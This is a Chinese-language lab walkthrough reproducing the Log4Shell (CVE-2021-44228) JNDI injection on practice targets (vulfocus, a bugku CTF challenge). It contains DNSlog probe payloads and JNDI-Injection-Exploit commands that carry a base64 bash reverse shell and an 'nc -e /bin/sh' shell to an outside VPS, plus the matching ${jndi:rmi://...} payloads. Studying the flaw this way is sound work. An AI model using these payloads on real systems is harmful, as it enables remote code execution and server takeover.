log4j2的简单复现

之前只是简略看了看这个漏洞,但是并没有及时复现,但是发现这个漏洞hw问的很多,所以还是及时复现一下吧。

漏洞描述

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

漏洞编号:CVE-2021-44228

- 漏洞:Log4j2 的 JNDI 功能点无法防御来自攻击者的 ldap 以及其他相关端点的攻击行为。
- 严重等级:Critical
- Basic CVSS 评分:10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- 影响版本:all versions from 2.0-beta9 to 2.14.1

漏洞原理

由于本人代码功底有限,就大概说明下,不进行代码跟进了。

log4j2提供了一种叫lookups的功能来写日志

img

而漏洞成因就是log4j2支持Jndi Lookup

日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2将基本的解析都做了实现:

img

常见解析:

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

JNDI就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。而log4j 2中JNDI解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?

也就是当记录日志的一部分是用户可控时(比如输入用户名和密码时),就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:

${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}

复现流程

环境1 失败

环境:http://vulfocus.io/

image-20220423225000889

测试一下是否存在log4j2,使用网站:http://dnslog.cn/

image-20220423230017138

xxxx?payload=${jndi:ldap://37zwcc.dnslog.cn/exp}

有个很重要一点,要对特殊字符进行url编码

image-20220423225440706

成功回显,证明有漏洞

image-20220423230128737

在vps上运行jndi注入工具:

链接:https://github.com/welk1n/JNDI-Injection-Exploit

image-20220423230550825

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDguMTY2LjIwMS4xNi82NjY3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "108.166.xx.xx"

image-20220423231525347

nc监听:

image-20220423231620210

构造payload

${jndi:rmi://108.166.201.16:1099/xodh7q}

还是进行url编码

image-20220424000703924

按理说就可以了,但是我在这个环境并没有成功

环境2 成功

感觉上面的环境有点问题,一直无法反弹shell,无论是bin/bash 还是nc都反弹失败了,下面采用bugku环境复现

url:https://ctf.bugku.com/challenges/detail/id/340.html

image-20220424000909413

打一下poc,测试下是否存在漏洞

image-20220424001013346

ojbk,回显了

image-20220424001036572

在Linux上启动服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 108.166.xx.xx 4444 -e /bin/sh" -A 108.166.xx.xx

image-20220424001128315

直接构造payload

${jndi:rmi://108.166.201.16:1099/dwqsay}

image-20220424000441276

成功反弹shell

image-20220424000428361